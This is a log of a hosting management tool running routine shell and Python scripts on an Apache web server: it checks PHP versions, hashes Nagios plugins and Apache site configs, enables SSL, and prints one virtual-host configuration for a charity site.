      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2025-12-29 21:54:20: 

PUT: /tmp/pkp486921

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-29 21:54:20: 

chmod 755 /tmp/pkp486921; /tmp/pkp486921; rm /tmp/pkp486921

2025-12-29 21:54:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-29 21:54:20: 

PUT: /tmp/pkp937003

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-29 21:54:20: 

chmod 755 /tmp/pkp937003; /tmp/pkp937003; rm /tmp/pkp937003

2025-12-29 21:54:20: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.16


2025-12-29 21:54:20: 

PUT: /tmp/pkp809074

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-29 21:54:20: 

chmod 755 /tmp/pkp809074; /tmp/pkp809074; rm /tmp/pkp809074

2025-12-29 21:54:20: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-29 21:54:20: 

PUT: /tmp/pkp194599

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-29 21:54:20: 

chmod 755 /tmp/pkp194599; /tmp/pkp194599; rm /tmp/pkp194599

2025-12-29 21:54:20: 


status=ok


2025-12-29 21:54:20: 

PUT: /tmp/pkp314337

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:54:21: 

chmod 755 /tmp/pkp314337; /tmp/pkp314337; rm /tmp/pkp314337

2025-12-29 21:54:21: 
2025-12-29 21:54:21: 

PUT: /tmp/pkp805709

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinks_new_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:54:21: 

chmod 755 /tmp/pkp805709; /tmp/pkp805709; rm /tmp/pkp805709

2025-12-29 21:54:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf	1316

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 84c5ee5f8727ea3268da64cde6a78cad
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= b0fd2c81d5635417a6258cb271cfd433
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= d09c2eafe64fc36968d098a0b3a77660
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp314337:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


